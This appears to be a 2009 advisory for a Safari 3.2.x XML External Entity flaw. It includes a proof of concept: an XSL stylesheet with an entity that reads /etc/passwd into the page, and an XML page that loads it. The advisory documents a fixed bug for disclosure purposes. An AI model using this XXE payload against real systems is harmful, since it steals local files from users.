Apple Safari 3.2.x - XML External Entity Local File Theft

🗓️ 09 Jun 2009 00:00:00Reported by Chris EvansType

Apple Safari 3.2.x - XML External Entity Local File Theft. Allows evil web page to steal local files through XXE attack

Safari prior to version 4 may permit an evil web page to steal files
from the local system.

This is accomplished by mounting an XXE attack against the parsing of
the XSL XML. This is best explained with a sample evil XSL file which
includes a DTD that attempts the XXE attack:

<!DOCTYPE doc [ <!ENTITY ent SYSTEM "file:///etc/passwd"> ] >
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
  <html>
  <body>
Below you should see the content of a local file, stolen by this evil web page.
<p/>
&ent;
<script>
alert(document.body.innerHTML);
</script>
  </body>
  </html>
</xsl:template>
</xsl:stylesheet>

To mount the attack, the attacker would serve a web page which has XML
MIME type and requests to be styled by the evil stylesheet:

<?xml version="1.0" encoding="ISO-8859-1"?>
<?xml-stylesheet type="text/xsl" href="safaristealfilebug.xsl"?>
<xml>
irrelevant
</xml>

Full technical details: http://scary.beasts.org/security/CESA-2009-006.html

Blog post: http://scarybeastsecurity.blogspot.com/2009/06/apples-safari-4-fixes-local-file-theft.html
(includes 1-click demos)

Cheers
Chris

# milw0rm.com [2009-06-09]

09 Jun 2009 00:00Current

7High risk

Vulners AI Score7